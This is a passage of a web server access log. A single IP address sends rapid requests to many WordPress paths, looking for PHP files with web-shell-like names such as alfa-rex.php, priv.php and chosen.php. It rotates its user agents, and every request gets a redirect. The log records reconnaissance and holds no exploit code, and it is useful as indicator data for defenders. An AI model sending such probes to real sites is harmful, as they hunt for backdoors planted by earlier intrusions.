/wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:37 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:37 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:38 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 156.146.33.80 - - [25/Apr/2025:11:26:38 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:38 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:26:38 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:38 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:39 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:39 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:39 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:39 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:40 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:26:40 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:40 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:40 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:26:40 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:40 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:41 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:41 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:41 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:41 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:26:42 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:42 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:42 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:42 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:42 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:42 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:43 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:43 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:43 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:43 -0400] "GET /wp-includes/sitemaps/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:43 -0400] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:44 -0400] "GET /wp-includes/images/smilies/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:44 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:44 -0400] "GET /wp-content/upgrade/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:44 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:44 -0400] "GET /wp-admin/css/colors/coffee/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:45 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:26:45 -0400] "GET /wp-includes/Text/Diff/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:26:45 -0400] "GET /wp-includes/Text/Diff/Renderer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:26:45 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:45 -0400] "GET /wp-includes/images/wlw/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:45 -0400] "GET /wp-includes/images/wlw/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:46 -0400] "GET /wp-includes/Text/Diff/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:46 -0400] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:26:46 -0400] "GET /wp-admin/includes/rk4.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:46 -0400] "GET /wp-admin/includes/connects.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:47 -0400] "GET /wp-admin/includes/eorr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:47 -0400] "GET /wp-admin/includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:47 -0400] "GET /wp-admin/includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:47 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:26:48 -0400] "GET /wp-admin/includes/varc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:48 -0400] "GET /wp-admin/css/colors/fex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:48 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:48 -0400] "GET /wp-admin/images/slsotot.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:26:48 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:49 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:49 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:49 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:49 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:50 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:26:50 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:50 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:50 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:26:51 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:51 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:51 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:51 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:52 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:52 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:52 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:53 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:53 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:53 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:53 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:53 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:54 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:54 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:26:54 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:26:54 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:55 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:55 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:55 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:56 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:56 -0400] "GET /wp-includes/images/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:56 -0400] "GET /wp-includes/ID3/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:56 -0400] "GET /wp-includes/js/plupload/connection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:26:56 -0400] "GET /wp-includes/js/codemirror/asset.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:57 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:57 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:57 -0400] "GET /wp-includes/IXR/class-IXR-base64-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:58 -0400] "GET /images/upload.form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:58 -0400] "GET /wp-content/languages/en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:58 -0400] "GET /wp-includes/js/codemirror/embed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:59 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:59 -0400] "GET /wp-admin/css/colors/ectoplasm/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:26:59 -0400] "GET /wp-includes/pomo/core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:26:59 -0400] "GET /files/modify_business.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:26:59 -0400] "GET /wp-includes/Ioad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:00 -0400] "GET /wp-includes/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:27:00 -0400] "GET /wp-includes/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:27:00 -0400] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:27:00 -0400] "GET /wp-admin/maint/cpsc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:27:00 -0400] "GET /wp-admin/images/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:01 -0400] "GET /wp-admin/includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:27:01 -0400] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:27:01 -0400] "GET /wp-admin/maint/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:01 -0400] "GET /wp-admin/css/colors/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:27:02 -0400] "GET /wp-admin/images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 